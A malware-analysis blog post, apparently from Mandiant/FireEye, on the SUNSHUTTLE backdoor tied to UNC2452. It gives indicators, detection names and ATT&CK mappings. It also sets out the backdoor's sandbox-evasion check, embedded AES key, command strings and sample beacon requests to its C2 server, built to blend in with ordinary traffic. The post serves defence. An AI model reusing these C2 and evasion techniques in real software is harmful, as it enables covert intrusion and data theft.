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New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452

published on 2021-03-04 17:00:00 UTC by Lindsay Smith
Content:

Executive Summary

In August 2020, a U.S.-based entity uploaded a new backdoor that we have named SUNSHUTTLE to a public malware repository.
SUNSHUTTLE is a second-stage backdoor written in GoLang that features some detection evasion capabilities.
Mandiant observed SUNSHUTTLE at a victim compromised by UNC2452, and have indications that it is linked to UNC2452, but we have not fully verified this connection.
Please see the Technical Annex for relevant MITRE ATT&CK techniques (T1027, T1027.002, T1059.003, T1071.001, T1105, T1140, T1573.001).

The activity discussed in this blog post is also detailed in a Microsoft blog post. We thank the team at Microsoft and other partners for their great collaboration in tracking this actor.

Threat Detail

Mandiant Threat Intelligence discovered a new backdoor uploaded by a U.S.-based entity to a public malware repository in August 2020 that we have named SUNSHUTTLE. SUNSHUTTLE is written in GO, and reads an embedded or local configuration file, communicates with a hard-coded command and control (C2) server over HTTPS, and supports commands including remotely uploading its configuration, file upload and download, and arbitrary command execution. Notably, SUNSHUTTLE uses cookie headers to pass values to the C2, and if configured, can select referrers from a list of popular website URLs to help such network traffic “blend in.”

The SUNSHUTTLE backdoor file examined, “Lexicon.exe” (MD5: 9466c865f7498a35e4e1a8f48ef1dffd), was written in GoLang. The file unpacks into MD5: 86e89349fefcbdd9d2c80ca30fa85511.
The infection vector for SUNSHUTTLE is not known. It is most likely a second-stage backdoor dropped after an initial compromise.
The SUNSHUTTLE sample uses the actor-controlled server “reyweb[.]com” for C2. “Reyweb[.]com” is registered anonymously via NameSilo, a domain provider who accepts bitcoin payment and has been used for C2 registration by state-sponsored APTs in the past, including Russia-nexus actors and Iran-nexus APTs

Mandiant observed SUNSHUTTLE at a victim compromised by UNC2452, and have indications that it is linked to UNC2452, but we have not fully verified this connection.

Please see FireEye’s resource center for background on UNC2452 and the SUNBURST campaign.

Outlook and Implications

The new SUNSHUTTLE backdoor is a sophisticated second-stage backdoor that demonstrates straightforward but elegant detection evasion techniques via its “blend-in” traffic capabilities for C2 communications. SUNSHUTTLE would function as second-stage backdoor in such a compromise for conducting network reconnaissance alongside other SUNBURST-related tools.

Technical Annex

Mandiant Threat Intelligence discovered a sample of the SUNSHUTTLE backdoor uploaded to an online multi-Antivirus scan service. SUNSHUTTLE is a backdoor, written in GO, that reads an embedded or local configuration file, communicates with its C2 server over HTTPS and supports commands including remotely updating its configuration, file upload and download, and arbitrary command execution.

Lexicon.exe (MD5: 9466c865f7498a35e4e1a8f48ef1dffd)
- C2: reyweb[.]com
- UNAVAILABLE (MD5: 86e89349fefcbdd9d2c80ca30fa85511)
  - Unpacked version of 9466c865f7498a35e4e1a8f48ef1dffd

Infection Vector

For the samples analyzed, the infection vector is not known.

Execution

Execution Summary

SUNSHUTTLE is a backdoor written in GoLang. Once SUNSHUTTLE is executed, a high-level description of the execution is the following:

Configuration settings determined
Request a “session key” from the C2
Retrieve the “session key” from the C2
- Once a session key is retrieved, SUNSHUTTLE begins command request beaconing loop
Begin command request beaconing
Resolve command and perform action

The SUNSHUTTLE sample analyzed retains the names of the routines used by the malware, which include the following:

main.request_session_key

main.define_internal_settings

main.send_file_part

main.clean_file

main.send_command_result

main.retrieve_session_key

main.save_internal_settings

main.resolve_command

main.write_file

main.beaconing

main.wget_file

main.fileExists

main.encrypt

main.decrypt

main.random

main.removeBase64Padding

main.addBase64Padding

main.delete_empty

main.Unpad

main.GetMD5Hash

main.Pad

Note: Throughout the SUNSHUTTLE backdoor, unique string identifiers are used to indicate the operation being performed to the C2 via a Cookie header, and unique string identifiers are also used to validate and parse response content from the C2. These unique string values are thought to be unique and random per compiled sample.

Initial Execution

Once executed, the SUNSHUTTLE backdoor enumerates the victim’s MAC address and compares it to a hardcoded MAC address value “c8:27:cc:c2:37:5a”. If a match is found the backdoor exits. The MAC address is likely a default MAC address for the Windows sandbox network adapter.

Figure 1: Mac address check

Configuration

If the check is successful, the SUNSHUTTLE backdoor then enters a routine named “main_define_internal_settings”, which handles creation of the configuration file if one doesn’t already exist in the directory from which SUNSHUTTLE is running. For the sample analyzed, the configuration filename is “config.dat.tmp”. The configuration data is Base64 encoded and AES-256 encrypted using the following key:

hz8l2fnpvp71ujfy8rht6b0smouvp9k8

The configuration has the following example values when Base64 decoded and AES decrypted:

48b9e25491e088a35105274cae0b9e67|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2V
ja28vMjAxMDAxMDEgRmlyZWZveC83NS4w

The configuration holds several values delimited by a “|” character, which are briefly described as follows.

48b9e25491e088a35105274cae0b9e67
- MD5 hash of the current timestamp calculated during execution.
5-15
- Lower/upper limits used to randomly generate sleep times as SUNSHUTTLE executes
0
- 0 or 1 — Utilize “blend-in” traffic requests. Internally called “false_requesting”
0
- Activate execution timestamp (0 by default) — execution "activates" or continues if current time is greater than the value in the configuration
TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja2
8vMjAxMDAxMDEgRmlyZWZveC83NS4w
- Base64-encoded User-agent used in HTTPS requests
- Decoded: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0

If set in the configuration, the “blend-in” traffic occurs as the malware executes and transitions through its routines. The following URLs are leveraged for the “blend-in” requests:

https://reyweb[.]com/icon.ico
https://reyweb[.]com/icon.png
https://reyweb[.]com/script.js
https://reyweb[.]com/style.css
https://reyweb[.]com/css/style.css
https://reyweb[.]com/css/bootstrap.css
https://reyweb[.]com/scripts/jquery.js
https://reyweb[.]com/scripts/bootstrap.js
https://cdn.mxpnl[.]com/
https://cdn.google[.]com/
https://cdn.jquery[.]com/
https://code.jquery[.]com/
https://cdn.cloudflare[.]com/

Session Key Mechanism

SUNSHUTTLE performs initial requests to the C2 in order to request and then retrieve what it internally refers to as a session key. The retrieved session key from the C2 appears to be RSA decrypted using the following private key that is embedded in SUNSHUTTLE and believed to be unique per compiled sample. Analysis is on-going on how the decrypted session key is used, but it is likely a session key used to encrypt content once SUNSHUTTLE transitions to its command-and-control routines.

After the configuration is created or read from, SUNSHUTTLE enters a routine named “main_request_session_key”. The malware will iterate over this routine until it’s successful, sleeping a period of time after each iteration.

Inside the “main_request_session_key” routine, SUNSHUTTLE constructs an HTTPS request to its configured C2. Upon an HTTP 200 response from the request, the response data from the C2 is expected to not contain the following string for the sample analyzed:

ywQdjLuHHC

The request_session_key routine returns a 1 if the string is not in the response and a -1 if it is in the response. If the result of the request_session_key is 1, SUNSHUTTLE will execute the retrieve_session_key routine.

The retrieve_session_key routine again contacts the C2 and downloads content that is expected to be decrypted by the aforementioned embedded private key. The decrypted content is likely a session key used to encrypt content once SUNSHUTTLE transitions to its command-and-control routines.

Commanding

Once a session key is retrieved from the C2, SUNSHUTTLE begins the beaconing and “resolve_command” routines in a loop. SUNSHUTTLE first issues a beacon to retrieve a command. After, SUNSHUTTLE will enter the routine “resolve_command”, which parses the response content to determine which command should be run. Available commands include remotely updating its configuration, file upload and download, and arbitrary command execution.

Figure 2: Resolve command graph

The content returned from the C2 after the “main_beaconing” routine is Base64 decoded and AES decrypted. A check is performed to ensure the decrypted content doesn’t contain the following string:

Cp5RTQ31R1

As noted, it is likely these strings are unique per sample and randomly generated at compilation.

The decrypted content is parsed for certain unique strings.

Unique string in decrypted response	Meaning
zSsP2TSJJm3a	Update sleep range — save config
aQJmWJzXdYK721mGBI3U	Update “false requesting” value – save config
W5VYP9Iu2uyHK	Update C2 URL and User-agent – save config
3487wD9t2OZkvqdwRpqPeE	Send current timestamp to C2
ubFxROBRwfswVRWNjLC	Update "activation" timestamp in the config — save config
TMuhGdA9EHY	Upload file to C2 if the file exists
1kG4NaRX83BCMgLo38Bjq	Execute command – return “EXECED” if successful
hB0upT6CUmdRaR2KVBvxrJ	Execute command – return results/output
N/A (other string criteria met)	Provides terminal command execution
N/A (other string criteria met)	Download file from C2

Files Dropped

After successful execution of the malware, it drops the following files to the victim’s system:

<current_directory>\config.dat.tmp (MD5: Dynamic)
- Encrypted configuration file

Persistence Method

The SUNSHUTTLE malware was not observed setting its own persistence. It is likely the persistence is set outside of the execution of SUNSHUTTLE.

Network Communications

SUNSHUTTLE uses the cookie header to pass values to the C2. Additionally, a referrer is selected from the following list, presumably to make the traffic blend in if traffic is being decrypted for inspection:

www.bing.com
www.yahoo.com
www.google.com
www.facebook.com

The cookie headers vary slightly depending on the operation being performed. The following is an example request to the C2 from the “request_session_key” routine.

Victim to C2
GET /assets/index.php HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
Referer: www.facebook.com
Accept-Encoding: gzip

Within the Cookie header, these values represent the following:

HjELmFxKJc=48b9e25491e088a35105274cae0b9e67
- Timestamp MD5 contained within the configuration
P5hCrabkKf=gZLXIeKI
- “P5hCrabkKf=” contains a unique string based on which routine is performing the request (see the following table).
iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx
- “i4zICToyI70Yeidf1f7rWjm5foKX2Usx” is hard coded within the SUNSHUTTLE backdoor. It possibly represents a payload identifier
b7XCoFSvs1YRW=78
- Unknown purpose. This value is only included in request_session_key and retrieve_session_key requests.

As mentioned, the cookie value “P5hCrabkKf=” contained in each request signifies the operation that is being performed.

“P5hCrabkKf=” Cookie Value	Meaning
gZLXIeK	main_request_session_key
do1KiqzhQ	main_clean_file
t5UITQ2PdFg5	main_wget_file
cIHiqD5p4da6OeB	main_retrieve_session_key
xpjQVt3bJzWuv	main_send_file_part
S4rgG1WifHU	main_send_command_result

After successful installation / initialization of the malware, it proceeds to make the following callback to the C2 server reyweb[.]com via TCP/443 HTTPS:

Additionally, if the “fake_requesting” configuration value is set to 1, SUNSHUTTLE will generate traffic meant to blend in with real traffic. Examples of those requests are as follows:

Victim to C2
GET /icon.png HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.google.com
Accept-Encoding: gzip

Victim to C2
GET /css/style.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.facebook.com
Accept-Encoding: gzip

Victim to C2
GET /css/bootstrap.css HTTP/1.1
Host: reyweb[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.facebook.com
Accept-Encoding: gzip

Victim to Legitimate
GET / HTTP/1.1
Host: cdn.cloudflare[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Referer: www.google.com
Accept-Encoding: gzip

Appendix: MITRE ATT&CK Framework

Technique	Description
T1027	Obfuscated Files or Information
T1027.002	Software Packing
T1059.003	Windows Command Shell
T1071.001	Web Protocols
T1105	Ingress Tool Transfer
T1140	Deobfuscate/Decode Files or Information
T1573.001	Symmetric Cryptography

Appendix: Detecting the Techniques

FireEye security solutions provide detection of the SUNSHUTTLE activity across email, endpoint and network levels. The following is a snapshot of existing detections related to activity outlined in this blog post.

Platform(s)

Detection Name

Network Security
Email Security
Detection On Demand
Malware File Scanning
Malware File Storage Scanning

FE_APT_Backdoor_Win64_SUNSHUTTLE_1
FE_APT_Backdoor_Win_SUNSHUTTLE_1
APT.Backdoor.Win.SUNSHUTTLE
APT.Backdoor.Win.SUNSHUTTLE.MVX

Endpoint Security

Malware Protection (AV/MG)

Trojan.GenericKD.34453763
Generic.mg.9466c865f7498a35

Article: New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452 - published over 3 years ago.

http://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html
Published: 2021 03 04 17:00:00
Received: 2021 06 06 09:05:11
Feed: FireEye Blog
Source: FireEye Blog
Category: Cyber Security
Topic: Cyber Security
Views: 2